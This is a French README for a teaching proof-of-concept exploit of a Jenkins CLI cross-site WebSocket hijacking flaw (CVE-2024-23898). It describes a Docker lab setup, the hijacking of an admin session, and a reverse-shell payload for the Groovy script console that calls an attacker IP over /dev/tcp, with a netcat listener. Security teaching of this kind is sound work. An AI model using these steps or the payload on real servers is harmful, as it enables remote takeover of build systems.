Détournement WebSocket CLI Jenkins - PoC
Un exploit de preuve de concept de détournement WebSocket cross-site pour CVE-2024-23898 — une vulnérabilité affectant les versions de Jenkins 2.217-2.441.
Cet exploit cible le CLI Jenkins qui peut être utilisé pour accéder à distance et exécuter des commandes sur un serveur de contrôle Jenkins. Grâce à cet exploit, un attaquant distant peut obtenir un accès et établir une porte dérobée persistante sur un serveur de contrôle Jenkins si un administrateur est amené à visiter un site malveillant alors qu'il est connecté au serveur de contrôle Jenkins cible.
AVERTISSEMENT
Ce code est destiné uniquement à des fins éducatives et exclusivement pour le cours de Hacking & Offensive Security de l'Université Carnegie Mellon. Ce code ne doit pas être transformé en arme ou autrement utilisé pour créer des logiciels malveillants. Les auteurs condamnent explicitement toute tentative en ce sens.
Configuration de Jenkins
- Exécutez "docker-compose build && docker-compose up -d"
- Accédez à http://localhost:8080, vous serez invité à entrer un mot de passe administrateur
- Ouvrez un shell dans le conteneur Docker Jenkins (PAS CELUI DE POSTGRES)
- "docker exec -it <container_id> bash"
- cd vers le répertoire indiqué sur la page Jenkins, obtenez le mot de passe
- Configurez un compte administrateur de base (retenez le mot de passe) et installez les plugins par défaut
- Configurez les utilisateurs anonymes avec des permissions de base en allant dans Manage Jenkins > Security
- Définissez le type d'autorisation sur "Matrix-based"
- Autorisez les utilisateurs anonymes à lire "Overall" et "Job"
Réalisation du détournement WebSocket
- Ouvrez Firefox, allez dans Paramètres > Confidentialité et sécurité
- Définissez la confidentialité du navigateur sur personnalisé, désactivez les cookies (cela permet à Firefox d'accepter tous les cookies)
- Allez sur Jenkins, connectez-vous en tant qu'administrateur, en veillant à cliquer sur "Keep me signed in"
- Lancez evilApp.py, en visitant http://localhost:5000
- Allez dans l'onglet Réseau et appuyez sur Actualiser
- Cliquez sur le paquet avec le fichier "ws" et allez dans Réponse, vous devriez voir qu'il indique "Authenticated as: admin"
- Vous pouvez également vérifier "Cookies" pour voir le cookie remember-me
Exécution d'un shell inversé
- Dans le terminal de votre machine, démarrez un écouteur netcat avec
nc -l <port_num> (remplacez <port_num> par tout numéro de port inutilisé)
- Vous devez obtenir l'adresse IP de votre ordinateur telle que vue par Docker. Sur Mac, vous pouvez la trouver avec la commande
ipconfig getifaddr en0
- En supposant que votre serveur Jenkins est en cours d'exécution, allez à
[http://localhost:8080/script](http://localhost:8080/script). Connectez-vous avec le compte administrateur si ce n'est pas déjà fait.
- Collez et exécutez cette charge utile dans la console de script Groovy :
['bash', '-c', 'bash -i >& /dev/tcp/<attacker_ip>/<port_num> 0>&1'].execute()
- Revenez au terminal avec l'écouteur netcat. Vous devriez être dans le système de fichiers du serveur Jenkins et capable de faire tout ce que l'utilisateur administrateur peut faire.